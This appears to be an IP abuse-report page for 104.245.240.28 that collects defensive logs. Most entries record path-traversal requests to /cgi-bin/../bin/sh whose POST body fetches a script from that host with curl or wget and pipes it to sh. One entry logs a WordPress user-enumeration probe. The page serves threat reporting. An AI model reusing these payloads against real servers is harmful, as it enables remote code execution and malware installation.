Log in to view charts and search reports for this IP.
Log In
No reports in the last 60 days
104.245.240.28 has been reported 81
times. The most recent report is from
.
The full history is preserved below and remains searchable. A
0% score reflects the absence of recent activity, but
this is not a guarantee that earlier reports were invalid. Abuse confidence score decays,
naturally, over time, when the abusive activity stops.
[Askari] | country=US | Behavior: Concurrent page load during attack, No referrer on deep pages, HTT ...
show more[Askari] | country=US | Behavior: Concurrent page load during attack, No referrer on deep pages, HTTP/1.1 over TLS, Targeting specific pages
show less
(mod_security) mod_security (id:225170) triggered by 104.245.240.28 (-): 1 in the last 300 secs; Por ...
show more(mod_security) mod_security (id:225170) triggered by 104.245.240.28 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Dec 15 02:34:02.238858 2025] [security2:error] [pid 17582:tid 17593] [client 104.245.240.28:16227] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||geekshop.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "geekshop.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aT-56hGh5oGFtagEpXv22gAAAEo"], referer: https://www.google.com
show less
Brute-Force
Bad Web Bot
Web App Attack
Anonymous
Possibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 124.115.231 ...
show morePossibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 124.115.231.142:
HTTP Req: POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Time: Mon, 14 Apr 2025 09:06:34 +0200
Port 443
105 bytes of POST data, max 400 shown:
X=$(curl http://104.245.240.28/sh || wget http://104.245.240.28/sh -O-); echo "$X" | sh -s apache.selfrep
User Agent: Custom-AsyncHttpClient
IP suspected 74 time(s) so far.
show less
Hacking
Exploited Host
Anonymous
Possibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 124.115.231 ...
show morePossibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 124.115.231.142:
HTTP Req: POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Time: Mon, 14 Apr 2025 09:06:18 +0200
Port 443
105 bytes of POST data, max 400 shown:
X=$(curl http://104.245.240.28/sh || wget http://104.245.240.28/sh -O-); echo "$X" | sh -s apache.selfrep
User Agent: Custom-AsyncHttpClient
IP suspected 75 time(s) so far.
show less
Hacking
Exploited Host
Anonymous
Possibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 61.136.149. ...
show morePossibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 61.136.149.93:
HTTP Req: POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Time: Mon, 14 Apr 2025 01:42:01 +0200
Port 443
105 bytes of POST data, max 400 shown:
X=$(curl http://104.245.240.28/sh || wget http://104.245.240.28/sh -O-); echo "$X" | sh -s apache.selfrep
User Agent: Custom-AsyncHttpClient
IP suspected 73 time(s) so far.
show less
Hacking
Exploited Host
Anonymous
Possibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 61.136.149. ...
show morePossibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 61.136.149.93:
HTTP Req: POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Time: Mon, 14 Apr 2025 01:42:00 +0200
Port 443
105 bytes of POST data, max 400 shown:
X=$(curl http://104.245.240.28/sh || wget http://104.245.240.28/sh -O-); echo "$X" | sh -s apache.selfrep
User Agent: Custom-AsyncHttpClient
IP suspected 72 time(s) so far.
show less
Hacking
Exploited Host
Anonymous
Possibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 101.226.179 ...
show morePossibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 101.226.179.179:
HTTP Req: POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Time: Sun, 13 Apr 2025 18:14:25 +0200
Port 80
105 bytes of POST data, max 400 shown:
X=$(curl http://104.245.240.28/sh || wget http://104.245.240.28/sh -O-); echo "$X" | sh -s apache.selfrep
User Agent: Custom-AsyncHttpClient
IP suspected 71 time(s) so far.
show less
Hacking
Exploited Host
Anonymous
Possibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 101.226.179 ...
show morePossibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 101.226.179.179:
HTTP Req: POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Time: Sun, 13 Apr 2025 18:14:21 +0200
Port 80
105 bytes of POST data, max 400 shown:
X=$(curl http://104.245.240.28/sh || wget http://104.245.240.28/sh -O-); echo "$X" | sh -s apache.selfrep
User Agent: Custom-AsyncHttpClient
IP suspected 70 time(s) so far.
show less
Hacking
Exploited Host
Anonymous
Possibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 154.92.108. ...
show morePossibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 154.92.108.31:
HTTP Req: POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Time: Sat, 12 Apr 2025 17:16:05 +0200
Port 80
105 bytes of POST data, max 400 shown:
X=$(curl http://104.245.240.28/sh || wget http://104.245.240.28/sh -O-); echo "$X" | sh -s apache.selfrep
User Agent: Custom-AsyncHttpClient
IP suspected 69 time(s) so far.
show less
Hacking
Exploited Host
Anonymous
Possibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 120.48.53.1 ...
show morePossibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 120.48.53.131:
HTTP Req: POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Time: Sat, 12 Apr 2025 06:51:15 +0200
Port 80
105 bytes of POST data, max 400 shown:
X=$(curl http://104.245.240.28/sh || wget http://104.245.240.28/sh -O-); echo "$X" | sh -s apache.selfrep
User Agent: Custom-AsyncHttpClient
IP suspected 68 time(s) so far.
show less
Hacking
Exploited Host
Anonymous
Possibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 120.48.53.1 ...
show morePossibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 120.48.53.131:
HTTP Req: POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Time: Sat, 12 Apr 2025 06:50:42 +0200
Port 80
105 bytes of POST data, max 400 shown:
X=$(curl http://104.245.240.28/sh || wget http://104.245.240.28/sh -O-); echo "$X" | sh -s apache.selfrep
User Agent: Custom-AsyncHttpClient
IP suspected 67 time(s) so far.
show less
Hacking
Exploited Host
Anonymous
Possibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 58.49.237.2 ...
show morePossibly hosting malicious content on host 104.245.240.28 found inside HTTP request from 58.49.237.214:
HTTP Req: POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Time: Sat, 12 Apr 2025 01:00:46 +0200
Port 443
105 bytes of POST data, max 400 shown:
X=$(curl http://104.245.240.28/sh || wget http://104.245.240.28/sh -O-); echo "$X" | sh -s apache.selfrep
User Agent: Custom-AsyncHttpClient
IP suspected 65 time(s) so far.
show less